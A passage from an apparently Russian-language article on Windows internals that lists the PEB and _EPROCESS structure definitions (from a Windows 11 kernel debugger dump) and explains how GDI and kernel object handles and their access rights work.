&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessInitializing <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessUsingVEH <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessUsingVCH <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessUsingFTH <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessPreviouslyThrottled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessCurrentlyThrottled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessImagesHotPatched <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ReservedBits0 <span class="sy4">:</span> <span class="nu0">24</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; PVOID KernelCallbackTable<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; PVOID UserSharedInfoPtr<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG SystemReserved<span class="sy4">;</span>
&nbsp; &nbsp; ULONG AtlThunkSListPtr32<span class="sy4">;</span>
&nbsp; &nbsp; PVOID ApiSetMap<span class="sy4">;</span>
&nbsp; &nbsp; ULONG TlsExpansionCounter<span class="sy4">;</span>
&nbsp; &nbsp; PRTL_BITMAP TlsBitmap<span class="sy4">;</span>
&nbsp; &nbsp; ULONG TlsBitmapBits<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; PVOID ReadOnlySharedMemoryBase<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SharedData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID<span class="sy2">*</span> ReadOnlyStaticServerData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID AnsiCodePageData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID OemCodePageData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID UnicodeCaseTableData<span class="sy4">;</span>
&nbsp; &nbsp; ULONG NumberOfProcessors<span class="sy4">;</span>
&nbsp; &nbsp; ULONG NtGlobalFlag<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER CriticalSectionTimeout<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T HeapSegmentReserve<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T HeapSegmentCommit<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T HeapDeCommitTotalFreeThreshold<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T HeapDeCommitFreeBlockThreshold<span class="sy4">;</span>
&nbsp; &nbsp; ULONG NumberOfHeaps<span class="sy4">;</span>
&nbsp; &nbsp; ULONG MaximumNumberOfHeaps<span class="sy4">;</span>
&nbsp; &nbsp; PVOID<span class="sy2">*</span> ProcessHeaps<span class="sy4">;</span>
&nbsp; &nbsp; PVOID GdiSharedHandleTable<span class="sy4">;</span>
&nbsp; &nbsp; PVOID ProcessStarterHelper<span class="sy4">;</span>
&nbsp; &nbsp; ULONG GdiDCAttributeList<span class="sy4">;</span>
&nbsp; &nbsp; PRTL_CRITICAL_SECTION LoaderLock<span class="sy4">;</span>
&nbsp; &nbsp; ULONG OSMajorVersion<span class="sy4">;</span>
&nbsp; &nbsp; ULONG OSMinorVersion<span class="sy4">;</span>
&nbsp; &nbsp; USHORT OSBuildNumber<span class="sy4">;</span>
&nbsp; &nbsp; USHORT OSCSDVersion<span class="sy4">;</span>
&nbsp; &nbsp; ULONG OSPlatformId<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ImageSubsystem<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ImageSubsystemMajorVersion<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ImageSubsystemMinorVersion<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T ActiveProcessAffinityMask<span class="sy4">;</span>
&nbsp; &nbsp; ULONG GdiHandleBuffer<span class="br0">&#91;</span><span class="nu0">60</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; PVOID PostProcessInitRoutine<span class="sy4">;</span>
&nbsp; &nbsp; PRTL_BITMAP TlsExpansionBitmap<span class="sy4">;</span>
&nbsp; &nbsp; ULONG TlsExpansionBitmapBits<span class="br0">&#91;</span><span class="nu0">32</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG SessionId<span class="sy4">;</span>
&nbsp; &nbsp; ULARGE_INTEGER AppCompatFlags<span class="sy4">;</span>
&nbsp; &nbsp; ULARGE_INTEGER AppCompatFlagsUser<span class="sy4">;</span>
&nbsp; &nbsp; PVOID pShimData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID AppCompatInfo<span class="sy4">;</span>
&nbsp; &nbsp; UNICODE_STRING CSDVersion<span class="sy4">;</span>
&nbsp; &nbsp; PACTIVATION_CONTEXT_DATA ActivationContextData<span class="sy4">;</span>
&nbsp; &nbsp; PASSEMBLY_STORAGE_MAP ProcessAssemblyStorageMap<span class="sy4">;</span>
&nbsp; &nbsp; PACTIVATION_CONTEXT_DATA SystemDefaultActivationContextData<span class="sy4">;</span>
&nbsp; &nbsp; PASSEMBLY_STORAGE_MAP SystemAssemblyStorageMap<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T MinimumStackCommit<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SparePointers<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; PVOID PatchLoaderData<span class="sy4">;</span>
&nbsp; &nbsp; PCHPEV2_PROCESS_INFO ChpeV2ProcessInfo<span class="sy4">;</span>
&nbsp; &nbsp; ULONG AppModelFeatureState<span class="sy4">;</span>
&nbsp; &nbsp; ULONG SpareUlongs<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; USHORT ActiveCodePage<span class="sy4">;</span>
&nbsp; &nbsp; USHORT OemCodePage<span class="sy4">;</span>
&nbsp; &nbsp; USHORT UseCaseMapping<span class="sy4">;</span>
&nbsp; &nbsp; USHORT UnusedNlsField<span class="sy4">;</span>
&nbsp; &nbsp; PVOID WerRegistrationData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID WerShipAssertPtr<span class="sy4">;</span>
&nbsp; &nbsp; PVOID EcCodeBitMap<span class="sy4">;</span>
&nbsp; &nbsp; PVOID pImageHeaderHash<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG TracingFlags<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG HeapTracingEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG CritSecTracingEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG LibLoaderTracingEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SpareTracingBits <span class="sy4">:</span> <span class="nu0">29</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CsrServerReadOnlySharedMemoryBase<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T TppWorkerpListLock<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY TppWorkerpList<span class="sy4">;</span>
&nbsp; &nbsp; PVOID WaitOnAddressHashTable<span class="br0">&#91;</span><span class="nu0">128</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; PVOID TelemetryCoverageHeader<span class="sy4">;</span>
&nbsp; &nbsp; ULONG CloudFileFlags<span class="sy4">;</span>
&nbsp; &nbsp; ULONG CloudFileDiagFlags<span class="sy4">;</span>
&nbsp; &nbsp; CHAR PlaceholderCompatibilityMode<span class="sy4">;</span>
&nbsp; &nbsp; CHAR PlaceholderCompatibilityModeReserved<span class="br0">&#91;</span><span class="nu0">7</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; PLEAP_SECOND_DATA LeapSecondData<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG LeapSecondFlags<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SixtySecondEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Reserved <span class="sy4">:</span> <span class="nu0">31</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG NtGlobalFlag2<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T ExtendedFeatureDisableMask<span class="sy4">;</span>
<span class="br0">&#125;</span> PEB, <span class="sy2">*</span> PPEB<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div><b>GDI object.</b> Объекты GDI поддерживают только один дескриптор для каждого объекта.<br />
Дескрипторы объектов GDI являются частными для процесса - только процесс, создавший объект GDI, может использовать дескриптор объекта.<br />
Такие функции как CreateFont создают структуру данных в виртуальной памяти для объекта (в данном случае объект шрифта) и возвращают дескриптор для взаимодействия с созданным объектом.<br />
Дескриптор остается действительным до тех пор, пока объект GDI не будет уничтожен функцией DeleteObject.<br />
<br />
<b>Kernel object.</b> Дескрипторы объектов ядра зависят от процесса. То есть процесс должен либо создать объект, либо открыть существующий объект, чтобы получить дескриптор объекта ядра.<br />
Любой процесс может создать новый дескриптор существующего объекта ядра (даже созданного другим процессом) при условии, что процесс знает имя объекта и имеет безопасный доступ (security access) к объекту.<br />
Дескрипторы объектов ядра включают права доступа, которые могут быть разрешены или запрещены процессу.<br />
Приложение определяет права доступа при создании объекта или получении дескриптора существующего объекта.<br />
Каждый тип объекта ядра поддерживает свой собственный набор прав доступа*.<br />
<font size="1"><i>*Например, дескрипторы файлов могут иметь доступ для чтения и\или записи.</i></font><br />
<br />
Примером объекта ядра могут служить данные процесса уровня <b>KernelMode.</b><br />
В таком случае, объектом выступает структура _EPROCESS (реверс ядра (lkd&gt; dt nt!_EPROCESS) Windows 11 сборка 10.0.22000.318, формат данной структуры меняется от версии к версии ОС Windows)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="533613024"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="533613024" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _EPROCESS
<span class="br0">&#123;</span>
&nbsp; &nbsp; KPROCESS Pcb<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK ProcessLock<span class="sy4">;</span>
&nbsp; &nbsp; PVOID UniqueProcessId<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY ActiveProcessLinks<span class="sy4">;</span>
&nbsp; &nbsp; EX_RUNDOWN_REF RundownProtect<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG Flags2<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG JobNotReallyActive <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AccountingFolded <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG NewProcessReported <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ExitProcessReported <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ReportCommitChanges <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG LastReportMemory <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ForceWakeCharge <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG CrossSessionCreate <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG NeedsHandleRundown <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG RefTraceEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG PicoCreated <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EmptyJobEvaluated <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG DefaultPagePriority <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG PrimaryTokenFrozen <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessVerifierTarget <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG RestrictSetThreadContext <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AffinityPermanent <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AffinityUpdateEnable <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG PropagateNode <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ExplicitAffinity <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessExecutionState <span class="sy4">:</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableReadVmLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableWriteVmLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG FatalAccessTerminationRequested <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG DisableSystemAllowedCpuSet <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessStateChangeRequest <span class="sy4">:</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessStateChangeInProgress <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG InPrivate <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG Flags<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG CreateReported <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG NoDebugInherit <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessExiting <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessDelete <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ManageExecutableMemoryWrites <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VmDeleted <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG OutswapEnabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Outswapped <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG FailFastOnCommitFail <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Wow64VaSpace4Gb <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AddressSpaceInitialized <span class="sy4">:</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SetTimerResolution <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG BreakOnTermination <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG DeprioritizeViews <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG WriteWatch <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessInSession <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG OverrideAddressSpace <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG HasAddressSpace <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG LaunchPrefetched <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Background <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VmTopDown <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ImageNotifyDone <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG PdeUpdateNeeded <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VdmAllowed <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessRundown <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessInserted <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG DefaultIoPriority <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessSelfDelete <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SetTimerResolutionLink <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER CreateTime<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T ProcessQuotaUsage<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T ProcessQuotaPeak<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T PeakVirtualSize<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T VirtualSize<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY SessionProcessLinks<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; PVOID ExceptionPortData<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE_T ExceptionPortValue<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE_T ExceptionPortState <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; EX_FAST_REF Token<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T MmReserved<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK AddressCreationLock<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK PageTableCommitmentLock<span class="sy4">;</span>
&nbsp; &nbsp; PETHREAD RotateInProgress<span class="sy4">;</span>
&nbsp; &nbsp; PETHREAD ForkInProgress<span class="sy4">;</span>
&nbsp; &nbsp; PEJOB CommitChargeJob<span class="sy4">;</span>
&nbsp; &nbsp; RTL_AVL_TREE CloneRoot<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T NumberOfPrivatePages<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T NumberOfLockedPages<span class="sy4">;</span>
&nbsp; &nbsp; PVOID Win32Process<span class="sy4">;</span>
&nbsp; &nbsp; PEJOB Job<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SectionObject<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SectionBaseAddress<span class="sy4">;</span>
&nbsp; &nbsp; ULONG Cookie<span class="sy4">;</span>
&nbsp; &nbsp; PPAGEFAULT_HISTORY WorkingSetWatch<span class="sy4">;</span>
&nbsp; &nbsp; PVOID Win32WindowStation<span class="sy4">;</span>
&nbsp; &nbsp; PVOID InheritedFromUniqueProcessId<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T OwnerProcessId<span class="sy4">;</span>
&nbsp; &nbsp; PPEB Peb<span class="sy4">;</span>
&nbsp; &nbsp; PMM_SESSION_SPACE Session<span class="sy4">;</span>
&nbsp; &nbsp; PVOID Spare1<span class="sy4">;</span>
&nbsp; &nbsp; PEPROCESS_QUOTA_BLOCK QuotaBlock<span class="sy4">;</span>
&nbsp; &nbsp; PHANDLE_TABLE ObjectTable<span class="sy4">;</span>
&nbsp; &nbsp; PVOID DebugPort<span class="sy4">;</span>
&nbsp; &nbsp; PEWOW64PROCESS WoW64Process<span class="sy4">;</span>
&nbsp; &nbsp; EX_FAST_REF DeviceMap<span class="sy4">;</span>
&nbsp; &nbsp; PVOID EtwDataSource<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T PageDirectoryPte<span class="sy4">;</span>
&nbsp; &nbsp; PFILE_OBJECT ImageFilePointer<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR ImageFileName<span class="br0">&#91;</span><span class="nu0">15</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; UCHAR PriorityClass<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SecurityPort<span class="sy4">;</span>
&nbsp; &nbsp; SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY JobLinks<span class="sy4">;</span>
&nbsp; &nbsp; PVOID HighestUserAddress<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY ThreadListHead<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ActiveThreads<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ImagePathHash<span class="sy4">;</span>
&nbsp; &nbsp; ULONG DefaultHardErrorProcessing<span class="sy4">;</span>
&nbsp; &nbsp; LONG LastThreadExitStatus<span class="sy4">;</span>
&nbsp; &nbsp; EX_FAST_REF PrefetchTrace<span class="sy4">;</span>
&nbsp; &nbsp; PVOID LockedPagesList<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER ReadOperationCount<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER WriteOperationCount<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER OtherOperationCount<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER ReadTransferCount<span class="sy4">;</span>
